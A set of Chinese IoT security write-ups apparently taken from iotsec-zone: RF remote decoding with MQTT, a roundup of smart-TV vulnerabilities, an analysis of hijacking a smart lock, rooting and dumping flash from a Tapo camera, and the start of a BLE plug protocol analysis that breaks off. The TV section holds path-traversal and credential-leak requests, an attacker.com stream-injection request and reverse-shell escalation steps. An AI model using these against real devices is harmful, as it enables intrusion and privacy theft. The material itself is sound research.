由于此拨码遥控器买来时候并未配套有相关的电路说明文档,因此我在研究清楚之后寻找了一个类似的电路图供大家参考。先看左边的1-8个键码,对应右图中的A0-A7。除此之外,还配备有四个微动开关。分别为S1、S2、S3、S4。在进行测试的时候,首先将8个拨码器全部下拉到底。此时通过RTL-433得到的信息是FF FF FC 80,转换为01二进制为:11111111 11111111 11111100 1。此时在重新拨号,最后的知,80为默认结尾,可以直接忽略。因为不管每次怎么拨,按哪个微动开关,最终都为80,前面的FC代表的是四个微动开关中的一个微动开关。FF FF 即为拨码器可以改变的值。又因为其本身包含三种状态,要么是00(下拉) 要么是11(上拉),要么是10(中间悬空),很轻松我们就完全逆向了此拨码遥控器。
|
||||
# 0x04 无线遥控信号的物联网化(引申概念)
|
||||
进行了上面的一些实验之后,我们思考如何将收到的无线遥控信号发送到更远端的距离并且将其保存。如果可能更希望其可以在物联网平台上被逆向分析。于是为了解决以上的问题我们进行实验尝试。Home Assistant 是一款基于 Python 的智能家居开源系统,支持众多品牌的智能家居设备,可以轻松实现设备的语音控制、自动化等。因为Home Assistant 非常容易部署,所以我们便决定采用Home Assistant 的物联网方案将无线遥控信号物联网化。除此之外,我们还需要应用到MQTT进行远距离通信。便于将我们在本地捕获到的无线遥控信号解码后上传到我们的MQTT服务器,最终和我们的Home Assistant智能家居平台进行通信,实现无线遥控信号在被捕获之后保存和传输到更远的地方。
|
||||

|
||||
(Home Assistant Logo)
|
||||

|
||||
(MQTT监听解码数据)
|
||||
首先我们需要安装Home Assistant,这里我使用的是树莓派安装Home Assistant 的方式,因为rtl-433程序也是运行在树莓派上的,将树莓派安装好Home Assistant之后也便于我们进行端口映射和转发。这张图是在树莓派上安装Home Assistant的不同方式:
|
||||

|
||||
其中Hassbian没有图形界面,详见:[https://www.home-assistant.io/blog/2019/10/26/rip-hassbian/](https://www.home-assistant.io/blog/2019/10/26/rip-hassbian/)
|
||||
Mossbian是由Hassbian改版的版本,详情:[https://home-assistant.cc/mossbian/](https://home-assistant.cc/mossbian/) 目前已停止维护,遂放弃这两种方案。直接在树莓派的系统Raspbian上通过手动的方式安装Home Assistant。
|
||||
具体安装参考链接:[https://comhome-assistant.cc/installation/raspberrypi/raspbian/](https://comhome-assistant.cc/installation/raspberrypi/raspbian/)
|
||||
安装完成之后我们便可以从局域网内任意终端浏览器访问 [http://Raspberry](http://Raspberry) IP :8123,进入 Home Asssitant。
|
||||
物联网平台安装完毕之后,我们还需要安装MQTT服务器,之前参加物联网相关的比赛,华为云社区为我们提供了云服务器的代金券,因此我们便使用华为云的服务器去搭建MQTT服务器,让我们捕获到的遥控信号通过MQTT传输到云平台进而传输到我们的物联网平台上。
|
||||
MQTT(Message Queuing Telemetry Transport)消息队列遥测传输协议,是一种基于发布/订阅(publish/subscribe)模式的"轻量级"通讯协议,该协议构建于TCP/IP协议上,由IBM在1999年发布。
|
||||
MQTT最大优点在于,可以以极少的代码和有限的带宽,为连接远程设备提供实时可靠的消息服务。作为一种低开销、低带宽占用的即时通讯协议,使其在物联网、小型设备、移动应用等方面有较广泛的应用。
|
||||
了解了MQTT之后,我们决定在云服务器上部署Eclipse Mosquitto进行MQTT协议之间的一些通信。Eclipse Mosquitto是一个开源消息代理,实现了MQTT协议版本3.1和3.1.1。Mosquitto轻量,适用于低功耗单板计算机到完整服务器的所有设备。Mosquitto项目还提供了用于实现MQTT客户端的C库以及非常受欢迎的mosquitto_pub和mosquitto_sub命令行MQTT客户端。Mosquitto是用C语言实现MQTT协议的Broker。是一款实现了消息推送协议 MQTT v3.1 的开源消息代理软件,提供轻量级的,支持可发布/可订阅的的消息推送模式,使设备对设备之间的短消息通信变得简单,比如现在应用广泛的低功耗传感器,手机、嵌入式计算机、微型控制器等移动设备。一个典型的应用案例就是 Andy Stanford-ClarkMosquitto(MQTT协议创始人之一)在家中实现的远程监控和自动化。
|
||||
我们也对于其进行安装。成功安装Mosquitto后MQTT通信的测试。
|
||||

|
||||
(MQTT通信测试)
|
||||
在搭建完成了上述的实验环境之后,我们将对于我们的想法进行验证,让我们在本地通过软件无线电设备捕获到的设备信号通过MQTT协议传输到我们的MQTT服务器上,进而将数据转发到物联网平台上,在物联网平台上对于该Publish进行监听,最终获取到从远端传输而来解码好的无线遥控信号。
|
||||

|
||||
(MQTT实时接收到的已解码数据)
|
||||
具体实现视频链接
|
||||
【MQTT实时接收已解码数据-哔哩哔哩】 [https://b23.tv/edY1XoO](https://b23.tv/edY1XoO)
|
||||
@@ -0,0 +1,147 @@
|
||||
# 智能电视漏洞汇总
|
||||
> 饭饭
|
||||
> 来源:https://www.iotsec-zone.com/article/333
|
||||
|
||||
## 智能电视漏洞汇总
|
||||
最近在测试某大厂的智能电视中遇到了不瓶颈,毕竟是第一次专注的研究智能电视,对电视的了解还不够深。挖不动烦躁的时候,就回头想想曾经看过的智能电视的漏洞,记忆都很零散,今天把智能电视曾曝出的漏洞做个汇总,看看大佬们都有哪些奇妙的思路。
|
||||
|
||||
## 命令注入漏洞
|
||||
某电视名称命令注入
|
||||
某电视名称重命名使用反引号可注入任意命令。文章中并没有没有说细节吗,猜测是前台设置的电视名称,后端应该是使用系统命令将电视名称设置成 hostname ,由于没有过滤从而造成了任意命令执行。
|
||||
|
||||

|
||||
|
||||
**乐视电视利用 UPnP 安装应用**
|
||||
|
||||
18年 GeekPwn 上的乐视电视任意应用安装也比较有意思。利用 UPnP 提供的下载服务下载并安装应用,之前并没有想到还有这种操作。现在电视使用的大多使用第三方的投屏服务,这种骚操作的机会少了。
|
||||
|
||||
发现 UPnP 协议中通过 XML 文件声明告知手机控制端自身提供原用于遥控器应用更新下载服务可被滥用,通过控制端连接电视后即可发送 XML Message 的方式请求 DownLoadFile 的服务,电视内部收到服务请求未进行有效过滤即进行下载 APK 动作。下载 APK 应用后,发送消息请求电视 DLNA 服务向电视 EUI 系统发送特定内容广播。利用电视广播服务,调用系统内部静默安装服务,并对 Activity 进行调用。
|
||||
|
||||
## 目录遍历漏洞
|
||||
TCL 目录遍历(CVE-2020-27403)
|
||||
TCL 电视 7989 开放了 web 服务,未授权用户能够访问电视中的文件。
|
||||
|
||||

|
||||
|
||||
Sony Smart TV 目录遍历(CVE-2019-10886)
|
||||
索尼智能电视 “图片共享” 应用没有限制目录,从而可以读取任意文件。
|
||||
|
||||
```
|
||||
root@kali:~# curl -v http://192.168.1.102:10000/contentshare/image/default.prop
|
||||
Trying 192.168.1.102...
|
||||
TCP_NODELAY set
|
||||
Connected to 192.168.1.102 (192.168.1.102) port 10000 (#0)
|
||||
> GET /contentshare/image/default.prop HTTP/1.1
|
||||
> Host: 192.168.1.102:10000
|
||||
> User-Agent: curl/7.58.0
|
||||
> Accept: /
|
||||
>
|
||||
< HTTP/1.1 200 OK
|
||||
< Connection: close
|
||||
< Content-Length: 591
|
||||
< Content-Type: application/octet-stream
|
||||
<
|
||||
#
|
||||
# ADDITIONAL_DEFAULT_PROPERTIES
|
||||
#
|
||||
ro.secure=1
|
||||
security.perf_harden=1
|
||||
ro.allow.mock.location=0
|
||||
ro.debuggable=0 ro.zygote=zygote32
|
||||
dalvik.vm.image-dex2oat-Xms=64m
|
||||
dalvik.vm.image-dex2oat-Xmx=64m
|
||||
dalvik.vm.dex2oat-Xms=64m dalvik.vm.dex2oat-Xmx=512m
|
||||
ro.dalvik.vm.native.bridge=0 debug.atrace.tags.enableflags=0
|
||||
#
|
||||
# BOOTIMAGE_BUILD_PROPERTIES
|
||||
#
|
||||
ro.bootimage.build.date=2016? 11? 14? ??? 15:34:56 JST ro.bootimage.build.date.utc=1479105296 ro.bootimage.build.fingerprint=Sony/BRAVIA_ATV2_PA/BRAVIA_ATV2:6.0.1/MMB29V.S50/1.6.0.06.14.0.00:user/release-keys persist.sys.usb.config=none
|
||||
|
||||
Closing connection 0
|
||||
|
||||
```
|
||||
|
||||
## Appear TV 目录遍历(CVE-2018-7539)
|
||||
Appear TV XC5000 、XC5100 电视的 “Maintenance Center” 服务对外开放了WEB服务,监听在8088 端口。
|
||||
|
||||
```
|
||||
GET /../../../../../../../../../../../../etc/passwd
|
||||
Host: x.x.x.x:8088
|
||||
User-Agent: curl/7.56.1
|
||||
Accept: */*
|
||||
|
||||
```
|
||||
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Length: 1110
|
||||
Content-Type: text/plain; charset=utf-8
|
||||
Cache-Control: max-age=3600
|
||||
Server: fuzzd/0.1.1
|
||||
|
||||
root:x:0:0:root:/root:/bin/ash
|
||||
bin:x:1:1:bin:/bin:/sbin/nologin
|
||||
daemon:x:2:2:daemon:/sbin:/sbin/nologin
|
||||
adm:x:3:4:adm:/var/adm:/sbin/nologin
|
||||
|
||||
```
|
||||
|
||||
## 权限提升
|
||||
LG webOS OS 任意文件覆盖提权
|
||||
任意文件覆盖:luna-send-pub 命令调用 downloadmanager 服务可以下载文件到本地的任意位置,且文件属主为 root 。
|
||||
|
||||
系统中的 /etc/luna-services2/ls-hubd.conf 配置文件中定义了可执行脚本,脚本在点数开机的之后会被 Root 调用指令。
|
||||
|
||||
```
|
||||
[Dynamic Services]
|
||||
ExecPrefix=/usr/sbin/setcpushares-ls2
|
||||
LaunchTimeout=300000
|
||||
|
||||
```
|
||||
于是,可以通过覆盖 ls-hubd.conf 配置文件,将 ExecPrefix 的值设定为自定义脚本所在的路径。当电视重启之后,就能够提升到 Root 权限了。
|
||||
|
||||
1.在本地创建 ls-hubd.conf 文件;
|
||||
2.在电视中编写反弹 shell 脚本;
|
||||
3.使用 luna-send-pub 下载 ls-hubd.conf 覆盖原有文件;
|
||||
4.本地监听,然后重启服务之后就拿到了具备 Root 权限了 Shell 了。
|
||||
|
||||
## 拒绝服务漏洞
|
||||
Sony BRAVIA 电视 TCP 泛洪攻击(CVE-2019-11890)
|
||||
Sony 电视泛洪攻击电视会重启。原来电视也怕 TCP 泛洪攻击,还以为只有像工控的这种低性能设备重启的概率会高一些。
|
||||
|
||||
此外,还有不少其他形式的 DOS,如缓冲器溢出等,由于没有公布细节,这里就不讲了。
|
||||
|
||||
## 其他漏洞
|
||||
**ADB**
|
||||
CVE-2019-6005:KDDI Smart TV Box 默认在 5555 端口开放了 ADB。
|
||||
CVE-2019-9871:Jector Smart TV FM-K75 默认在 5555 端口开放了 ADB,且权限为 root。
|
||||
|
||||
SUPRA智能云电视视频劫持漏洞(CVE-2019-12477)
|
||||
|
||||
SUPRA 电视开放了 80 端口,提供的功能包含自定义的投屏服务,但没有验证用户和资源的合法性,于是未授权用户就可以播放任意内容。
|
||||
|
||||
向电视设备插入任意视频播放的构造请求如下。
|
||||
|
||||
```
|
||||
GET /remote/media_control?action=setUri&uri=http://attacker.com/fake_broadcast_message.m3u8 HTTP/1.1
|
||||
Host: 192.168.1.155
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Connection: close
|
||||
Upgrade-Insecure-Requests: 1
|
||||
|
||||
```
|
||||
现在,电视开放的端口还挺多的。尤其是现在有的家电厂商希望把智能电视打造为智能家居的中枢,肩负的任务也越来越多,但不少的服务没有基本的授权验证。
|
||||
|
||||
Sony Smart TV 信息泄露
|
||||
Sony Smart TV 在 10000 端口开放了 WEB 服务,未授权用户访问 /contentshare 页面,可以获取无线网络的明文密码。
|
||||
|
||||
```
|
||||
root@kali:~# wget -qO- --post-data='{"id":80,"method":"getContentShareServerInfo","params":[],"version":"1.0"}' http://[ip_tv]:10000/contentshare/
|
||||
{"result":[{"ssid":"DIRECT-GD-BRAVIA","keyType":"","key":"8362tbwX","deviceName":"","url":"http:\/\/192.168.49.1","touchPadRemote":"notSupported"}],"id":80}
|
||||
|
||||
```
|
||||
## 总结
|
||||
智能电视形似一台有着巨大屏幕的手机,与手机不同的是智能电视作为服务端提供各类服务。由于电视厂家有各自生态的考量,应用五花八门,分析纰漏出来的漏洞,不少是权限问题,各种服务的认证问题还是重中之重。从CVE 、CNVD 中的数据来看,拒绝服务最多,然后是目录遍历、命令执行,最后是信息泄露、提权等。
|
||||
@@ -0,0 +1,145 @@
|
||||
# 智能门锁安全分析:多方位探索硬件、固件、app和云端
|
||||
> 小黑
|
||||
> 来源:https://www.iotsec-zone.com/article/387
|
||||
|
||||
## 简介
|
||||
|
||||
本文主要针对一款智能门锁进行安全分析,并探索了从硬件、固件、App到云端多个层面的安全问题。在分析过程中,发现了门锁采用的离线动态密码生成算法,并对其进行了分析。同时,利用序列号越权获取门锁状态信息。在挖掘漏洞的过程中,我们进行了固件提取、固件分析、获取UART shell、分析App和通信协议等多种手段,从不同的角度深入分析了门锁的安全问题。
|
||||
|
||||
## 功能分析和离线动态密码生成机制
|
||||
|
||||
该智能门锁采用了一种离线动态密码生成算法。门锁在进入配网模式后,会生成一串经过AES加密的数据,并通过wifi模组发送给App。App需要使用管理员密码进行解密,从而得到randomcode。此时,randomcode作为生成动态密码的参数之一。另一个参数是门锁的序列号。但是,生成动态密码的过程还需要考虑时间同步的问题。如果门锁的时间与App的时间不同步,就可能导致生成的动态密码无效,无法开锁。
|
||||
|
||||
|
||||
|
||||
## App分析和动态密码生成过程追踪
|
||||
|
||||
如下图,Yb方法,它返回一个动态密码,是在用户使用App开锁时自动生成的且每五分钟更换一次。
|
||||
|
||||
|
||||
|
||||
首先,代码通过调用this.v来获取WifiLockInfo对象,这个对象包含了门锁的一些信息,如wifiSN和randomCode等。然后将这些信息和当前时间戳组合成一个字符串str。
|
||||
|
||||
|
||||
|
||||
接下来,代码将字符串str转换为一个字节数组,并使用SHA-256哈希算法对字节数组进行哈希运算,得到一个长度为32字节的哈希值。然后从哈希值中取出前4个字节,将它们转换为一个整数i。
|
||||
|
||||
|
||||
|
||||
最后,将整数i对1000000取模,得到一个6位数的动态密码,然后将其返回。
|
||||
|
||||

|
||||
|
||||
由此可知生成动态密码需要序列号以及一个未知的randomCode参数
|
||||

|
||||
|
||||
## 随机码的产生过程定位
|
||||
|
||||
1.通过抓包分析和逆向工程,定位到了门锁绑定接口的位置
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
2.在绑定接口的代码中,通过调用 getstringextra("wifilockrandomcode") 方法获取了随机码。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
3.为了追溯随机码的产生过程,使用全局搜索找到了随机码赋值的位置。
|
||||
|
||||

|
||||
|
||||
4.下图就是赋值randomcode的方法,在m14595e方法中首先将输入的字符串进行补0操作,再进行 SHA-256 的摘要计算;将摘要值与输入的字节数组进行 AES 解密操作,得到随机数和校验和;对随机数进行 CRC32 校验,与解密得到的校验和进行比较,判断是否匹配。
|
||||
其中,第一步是对输入的密码进行处理,以便于后续的加密和解密操作。第二步是通过密钥将输入的字节数组进行解密,得到随机数和校验和。第三步是对随机数进行 CRC32 校验,以验证其合法性。
|
||||
|
||||
我们只关心randomcode的生成也就是bArr4,根据代码分析得知调用m20569e进行aes解密之后得到了e2,其中参数一是由m14595e中的参数二取0-32得来,参数二是由m14595e的参数一补0然后sha256得来。
|
||||
|
||||

|
||||
|
||||
5.通过回溯调用关系可以推断参数一为门锁的管理员密码,参数二为AP模式下设备发给app的aes加密过的数据。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
## wifi模组固件提取
|
||||
|
||||
1.通过芯片手册还可以得知其是外置flash,拆下来的flash芯片将其焊接到转接板上。
|
||||
|
||||

|
||||
|
||||
2.放入编程器读取固件,编程器识别出flash芯片型号。读取固件另存为bin文件。
|
||||
|
||||

|
||||
|
||||
## 串口shell
|
||||
|
||||
1.可以看到主板上预留的uart接口,查看芯片手册可以确认芯片预留有uart和spi接口。现在开始连接uart接口先接GND让主板和ch340共地然后主板的rx与ch340的tx相连接,主板的tx与ch340的rx相连接。
|
||||
|
||||

|
||||
|
||||
2.连接电脑后设置波特率20000获得shell,如下是输出的日志。
|
||||
|
||||

|
||||
|
||||
## AES加密数据分析和随机码的推测
|
||||
|
||||
1.在进行配网的时候查看wifi模组日志看到g_tx_buffer[45]与app中大小一致且是在配网过程产生的由此可以推测打印出的这串数据很有可能就是randomcode aes加密过的数据。
|
||||
|
||||

|
||||
|
||||
2.查看固件可以看到序列号,连接的wifi名,密码等,设置好固件架构,基地址等搜索字符串send opf data定位到日志输出的位置回溯,FUN 230acdd8的代码表示将0x4201cc08处的内容赋值给DAT_420122d0.
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
3.在门锁进入配网模式后可以看到0x4201cc08有了内容。
|
||||
|
||||

|
||||
|
||||
4.全局搜索-0x3f8的位置查看操作0x4201cc08的位置,下面代码0x4201cc08开始到0x4201cc28就是aes加密过的randomcode,从0x4201cc28开启0xe个字节这里其实是设备的序列号,他们都取决于参数二。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
5.回溯看到可能是一个回调函数。推测参数二可能是门锁向wifi模组传输的数据。
|
||||
|
||||

|
||||
|
||||
6.同时发现在进入配网模式后wifi模组会recv一段data而这串数据包含0x4201cc08的内容,由此可以确定aes加密过的数据是在门锁固件里面生成发给wifi模组的。
|
||||
|
||||

|
||||
|
||||
7.下面是把wifi模组recv data的aes加密的部分拿出来,并使用管理员密码对其aes解密得到的就是randomcode。
|
||||
|
||||

|
||||
|
||||
8. 那这里如果想知道randomcode怎么生成的就需要提一下门锁固件了,要说明的是固件存放的位置一般分为两种,一种是集成在MCU中,另外一种是单独放在一块芯片上,这里的芯片没有找到datasheet,所以就直接把看着像外置flash的芯片提了一下发现都不是,难受噢,不过想了两种情况:
|
||||
第一种:门锁->随机数->sha224->randomcode
|
||||
第二种:门锁->随机28个字节的十六进制数->randomcode
|
||||
后面有机会在验证下!
|
||||
|
||||
## 序列号越权绑定门锁和劫持门锁状态信息
|
||||
|
||||
1.回到绑定过程,请求包是加密的,对其hook可以看到包含六个参数,其中包含了设备的序列号,用户id,randomcode等。因为randomcode是门锁生成的通过ap模式传给了app,app会把randomcode发给云端保存,但是在这里randomcode云端是没有校验的。所以我们要想劫持门锁app权限,只需要将arg0与arg1写成我们想要劫持的设备的序列号就可以了。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
2.然后逆向一下算法写个脚本跑一下就可以劫持指定序列号的门锁获取其app权限了。
|
||||
|
||||

|
||||
|
||||
## 总结
|
||||
在本文的分析过程中,我们深入探索了一款智能门锁的多个安全层面,包括从硬件、固件、App到云端。我们发现了该门锁采用的离线动态密码生成算法,以及利用序列号越权获取门锁状态信息。通过固件提取、分析、获取UART shell、分析App和通信协议等多种手段,我们从不同的角度深入挖掘了门锁的安全问题。这些发现和分析提醒我们,智能设备的安全性需要重视,并且在设计、开发和使用过程中要采取有效的安全措施。
|
||||
@@ -0,0 +1,186 @@
|
||||
# 某T摄像头固件提取分析
|
||||
> Pachimker
|
||||
> 来源:https://www.iotsec-zone.com/article/475
|
||||
|
||||
# 背景
|
||||
|
||||
本小节以某T摄像头设备为例,学习U-Boot操作以及结合前面小节中学到的知识点,对其进行SD卡固件提取,并最终配置远程访问服务。
|
||||
|
||||

|
||||
|
||||
下载某T设备管理app,添加摄像头后,发现摄像头固件版本为1.3.4。
|
||||
|
||||

|
||||
|
||||
关闭自动更新选型,这里tapo 设备硬件为v3型号,固件版本为1.3.4,这里我们需要对设备固件进行降级操作才可以进行SD卡提取固件操作。
|
||||
|
||||

|
||||
|
||||
通过查阅网上公开的资料发现,某T摄像头v1和v2版本,都可以使用MicroSD卡进行固件降级操作。这里v1和v2版本固件文件系统中sdcard配置路径为/dev/mmcblk0p1,也就是说只有tapo设备在出发固件升级操作时检测到/dev/mmcblk0p1存在时,才会执行firmware upgrade操作(这里为固件降级),对SD卡里面的factory_up_boot.bin文件进行解包升级。但是网上公开的v3版本的固件都为加密固件,如果不清楚其升级原理冒然操作,设备可能会变砖。好在网上查阅资料时,发现其他研究人员提取出的未加密v3固件。下载进行解包后,发现配置文件中sdcard路径相同,那么这里我们就可以按照之前的思路进行降级操作。
|
||||
|
||||

|
||||
|
||||
# 固件降级
|
||||
|
||||
我们可以根据文章([https://github.com/DrmnSamoLiu/Downgrading-Tapo-Cams](https://github.com/DrmnSamoLiu/Downgrading-Tapo-Cams))中的步骤进行降级操作,以下为本小节中的简略总结:
|
||||
|
||||
1. 将小于等于32GB MircoSD 卡插入PC机(这里我为windows)。
|
||||
|
||||
2. 按Win + R并运行diskpart
|
||||
|
||||
3. 执行以下命令:
|
||||
|
||||
```
|
||||
list disk
|
||||
select disk 2
|
||||
clean
|
||||
convert gpt
|
||||
create partition primary
|
||||
format quick fs=fat32
|
||||
```
|
||||
|
||||
4. 下载固件Tapo_C200v3_en_1.1.13_Build_211224_Rel.39366n__1640785939431.bin(https://github.com/tapo-firmware/Tapo_C200)
|
||||
|
||||
5. 将要用于降级的固件重命名为factory_up_boot.bin并复制到MicroSD卡中的根目录。
|
||||
|
||||
6. 此时按下摄像头重置按钮 5 秒,等待摄像头电机校准
|
||||
|
||||
7. 拔掉摄像头电源插头,此时将SD卡插入摄像头
|
||||
|
||||
8. 然后等待摄像头指示灯颜色稳定停在绿色,拔掉电源插头,取出SD卡
|
||||
|
||||
9. 摄像头插上电源,等待电机校准,完成固件降级。
|
||||
|
||||
# 提取固件
|
||||
|
||||
提取固件的大致流程为:
|
||||
|
||||
1. 按照前面小节中uart引脚的接法,将 UART 引脚连接到ttl转usb
|
||||
|
||||
2. 使用终端管理软件连接 UART 串口数据,波特率为115200
|
||||
|
||||
3. 给设备上电,此时启动日志显示文本“stop the autobooting in 3s”时,按slp键停止设备启动
|
||||
|
||||
4. 停止引导过程后,将可以访问U-Boot shell
|
||||
|
||||
5. 一旦 U-Boot shell 可以访问,我们可以使用setenv命令将init环境变量的路径更改为init=/bin/sh
|
||||
|
||||
6. 现在在 shell 中将bootcmd的内容作为命令运行
|
||||
|
||||
7. 运行 bootcmd 后,设备将正常启动并提供 root shell
|
||||
|
||||
8. 使用命令cat /proc/mtd查找flash芯片的 mtd 块分区
|
||||
|
||||
9. 将flash数据拷贝到MicroSD卡中。
|
||||
|
||||
具体操作流程如下:
|
||||
|
||||
tapo摄像头的外壳为卡扣结构,拆解较为容易。拆开摄像头外壳,一眼便发现了uart的接口注释字符Tx/Rx/GND/VCC,我们可以很快意识到这里留有uart调试接口。
|
||||
|
||||

|
||||
|
||||
在网上查阅资源后,发现该设备论坛给我们提供了进入U-Boot shell的密码。在某些产品中密码为'tpl' , 在某些情况下为'slp' 。本小节实例中为'slp',当我们给设备插上电源后,看到"Autobooting in 1 second"字符时输入slp,可以让我们进入 U-Boot 终端 。输入help 查看U-Boot帮助命令,这里使用printenv查看U-Boot 环境变量。
|
||||
|
||||

|
||||
|
||||
这里我们需要重点关注一下 bootargs 变量,这里为启动Uboot时的参数 。init为初始化程序,我们将其修改为/bin/sh后将引导进程生成一个 shell 作为初始进程,从而无需身份验证即可进入 root shell。
|
||||
|
||||
```
|
||||
setenv bootargs console=ttyS1,115200n8 mem=45M@0x0 rmem=19M@0x2d00000 root=/dev/mtdblock6 rootfstype=squashfs spdev=/dev/mtdblock7 noinitrd init=/bin/sh
|
||||
```
|
||||
|
||||
然后执行bootcmd的命令,引导 U-Boot 继续启动。
|
||||
|
||||
```
|
||||
sf probe;sf read 0x80700000 0x80200 0x175000; bootm 0x80700000
|
||||
```
|
||||
|
||||
等待一段时间后,我们进入了 root shell。init程序会做一些初始化操作,由于我们用 /bin/sh 替换了 init 进程,这里部分引导过程并未执行。这里我们需要手动引导,比较重要的点为需要挂载一下 /dev 和 /proc 。挂载 /proc 后,我们就可以使用一些基本命令以及访问现有分区了。
|
||||
|
||||
```
|
||||
mount -t proc none /proc
|
||||
```
|
||||
|
||||
查看一下/proc/partitions中的分区名称。
|
||||
|
||||

|
||||
|
||||
这里显示了mtdblock虚拟设备的内存映射,访问这些意味着访问闪存的内容。通常这些设备列在/dev中,由于我们通过获取 root shell 绕过了部分启动过程,因此我们需要手动创建它们,通过在挂载tmpfs来使/dev可写。
|
||||
|
||||
```
|
||||
mount -t tmpfs tmpfs /dev -o mode=0755,size=512K
|
||||
```
|
||||
|
||||
我们需要将每个mtdblock设备都挂载,以下为挂载命令 :
|
||||
|
||||
```
|
||||
mknod /dev/mtblock0 b 31 0
|
||||
mknod /dev/mtblock1 b 31 1
|
||||
mknod /dev/mtblock2 b 31 2
|
||||
mknod /dev/mtblock3 b 31 3
|
||||
mknod /dev/mtblock4 b 31 4
|
||||
mknod /dev/mtblock5 b 31 5
|
||||
mknod /dev/mtblock6 b 31 6
|
||||
mknod /dev/mtblock7 b 31 7
|
||||
mknod /dev/mtblock8 b 31 8
|
||||
mknod /dev/mtblock9 b 31 9
|
||||
|
||||
```
|
||||
|
||||
现在每个虚拟设备都安装在/dev下,我们可以访问到闪存内容。tapo c200 摄像头为我们提供了 SD 卡插槽,我们将用它来转储 Flash 内容。通过查看/proc/partitions ,我们可以找到插入的MicroSD的几个分区:
|
||||
|
||||

|
||||
|
||||
为它创建一个节点。
|
||||
|
||||
```
|
||||
mknod /dev/mmcblk0p1 b 179 1
|
||||
```
|
||||
|
||||
我们将其安装在/tmp/sdcard下。
|
||||
|
||||
```
|
||||
mount tmpfs /tmp -t tmpfs -o size=20633600,nosuid,nodev,mode=1777
|
||||
mkdir /tmp/sdcard
|
||||
mount -t vfat /dev/mmcblk0p1 /tmp/sdcard/
|
||||
```
|
||||
现在可以在/tmp/sdcard路径(MicroSD 卡)下写入文件了。执行下面的命令会将所有/dev/mtdblocks的内容追加写入到/tmp/sdcard/flashdump.bin中,这时便完成了flash转储。
|
||||
|
||||
```
|
||||
cat /dev/mtdblock0 >> /tmp/sdcard/flashdump.bin
|
||||
cat /dev/mtdblock1 >> /tmp/sdcard/flashdump.bin
|
||||
cat /dev/mtdblock2 >> /tmp/sdcard/flashdump.bin
|
||||
cat /dev/mtdblock3 >> /tmp/sdcard/flashdump.bin
|
||||
cat /dev/mtdblock4 >> /tmp/sdcard/flashdump.bin
|
||||
cat /dev/mtdblock5 >> /tmp/sdcard/flashdump.bin
|
||||
cat /dev/mtdblock6 >> /tmp/sdcard/flashdump.bin
|
||||
cat /dev/mtdblock7 >> /tmp/sdcard/flashdump.bin
|
||||
cat /dev/mtdblock8 >> /tmp/sdcard/flashdump.bin
|
||||
cat /dev/mtdblock9 >> /tmp/sdcard/flashdump.bin
|
||||
```
|
||||
|
||||
完成固件提取后,取消挂载 MicroSD 卡即可。
|
||||
|
||||
```
|
||||
umount /tmp/sdcard
|
||||
```
|
||||
既然固件已经提取,我们可以解包固件后根据实体设备进行调试。此时我们还需要开启远程访问服务,便于我们管理实体设备。在进行初始化操作后,我们已经可以访问系统了,现在我们需要进行远程访问。这里我们可以查看一下网络连接及服务的情况:
|
||||
|
||||

|
||||
|
||||
发现Telnet 服务正在运行,且telnet服务绑定到地址127.0.0.1,我们无法从本地网络访问。这里我们通过浏览设备中的文件系统,发现了telnetd服务的配置启动文件。
|
||||
|
||||

|
||||
|
||||
在此脚本中,配置了telnetd服务,并使用"-b"参数绑定ip为127.0.0.1,即限制只可本机网络访问。我们删除配置文件中的"127.0.0.1"后,可以使设备中的telnet服务远程访问生效。在修改完配置文件后,需要重启telnet服务:
|
||||
|
||||
```
|
||||
/etc/init.d/telnet restart
|
||||
```
|
||||
|
||||
此时便可以从同一内网内的机器对某T设备进行 telnet 远程访问。
|
||||
|
||||

|
||||
|
||||
# 总结
|
||||
在这一小节中,我们通过固件降级的相关操作,并结合SD卡固件提取知识点,完成对某T设备的初步分析,后续小节我们将对某T设备进行固件解密以及设备协议进行分析。
|
||||
@@ -0,0 +1,583 @@
|
||||
# 某品牌智能墙壁插座协议分析
|
||||
> 0431物联卫士实验室
|
||||
> 来源:https://www.iotsec-zone.com/article/284
|
||||
|
||||
# 前言
|
||||
|
||||
众所周知,在家庭物联网领域,国内几乎算是某品牌一统天下,那么其又是靠什么能在众多安全人员的研究下屹立不倒呢?
|
||||
|
||||
# 固件提取?
|
||||
|
||||
既然要分析协议,那总得有设备来测试吧,于是就买了个**某品牌智能墙壁插座(zimi.plug.zncz01)**,这玩意支持BLE,而且功能就只有电源的开和关,正好适合用来分析。
|
||||
|
||||
拿到设备,先是上某品牌App绑定,接着发现有个固件更新的提示。于是按耐住直接点更新的作死想法,先开了下抓包,成功获取到固件的下载地址:
|
||||
|
||||
```
|
||||
https://cdn.cnbj0.******.com/miio_fw/signed_fefb8b9387f435c280d2779a12b3bbd0_upd_zimi.plug.zncz01.bin?Expires=1721564712000&GalaxyAccessKeyId=5721718224520&Signature=woxFqZFoD+sYHGBgk67FITgsHg8=
|
||||
```
|
||||
|
||||
不过看文件名的`upd`字样,应该是增量包,不是全量包,所以没抱太大希望。尝试用`binwalk`解包提取,但只识别出了两个`pem证书`,可能是用了某品牌自家的独特打包方法导致没识别出来?
|
||||
|
||||

|
||||
|
||||
不过本来也没对固件这块抱有太大希望,先去抓BLE协议看看流量内容吧。
|
||||
|
||||
# 私有协议
|
||||
|
||||
通过多次发送开机/关机指令,可以确定指令的数据包是走的`Bluetooth Attribute Protocol`协议,然后`Handle`是`0x002b`这种非标准实现。然后数据内容的话对比一下前后几个数据包就能发现前两字节应该是消息序号,后面才是消息内容。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
但是第`0x0001`条的关机指令内容和第`0x0003`条并不一样,猜测可能有结合序号进行加密达到防重放的目的。
|
||||
|
||||
然后再重新连接一次抓个包,发现同样序号的同样操作,其指令内容也不一样。
|
||||
|
